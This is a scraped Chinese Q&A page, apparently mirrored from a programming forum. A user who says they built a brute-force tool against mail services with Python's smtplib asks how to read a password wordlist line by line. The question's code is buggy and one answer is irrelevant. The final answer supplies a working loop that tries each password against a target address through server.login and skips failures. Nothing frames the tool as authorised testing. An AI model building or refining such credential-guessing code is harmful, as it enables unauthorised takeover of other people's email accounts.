微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

如何在python中将特定行作为暴力破解工具的输入

如何解决如何在python中将特定行作为暴力破解工具的输入

我使用 smtplib 模块为顶级邮件服务创建了一个暴力破解工具,但我遇到了一个问题。问题是如何将文本文件作为输入。

我希望该工具应该从 wordlist 的第一行获取密码并尝试它,然后它会移动到下一个密码并尝试它。

我尝试的是:-

def wordlist():
    global file
    file = open('file.txt')
    global max_line
    max_line = int(input("Please enter the number of passwords (lines) in the worldist: "))
    global line
    line = file.readlines()
    global line_no
    line_no = 0
    main()

def main():
    line_no+=1
    while max_line!=line_no:
        server.login('target@email.com',line[count])
        line_no+=1

if __name__ == "__main__":
    wordlist()

简单来说,我想创建一个循环,在该循环中该工具应该从 wordlist 中获取一个密码并尝试它,然后移动到下一个

解决方法

像这样:

for password in passwords:
    mail="From:example@example.com To:example@example.com Password:%s Text:wbdshgfbd" %(password)
,

您可以使用 split("\n") 分隔密码然后使用列表

,
passwords=passwordsText.split("\n")
for i in passwords:
    try:
        server.login('target@email.com',str(i))
    except Exception:
        continue

也许是这样。

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。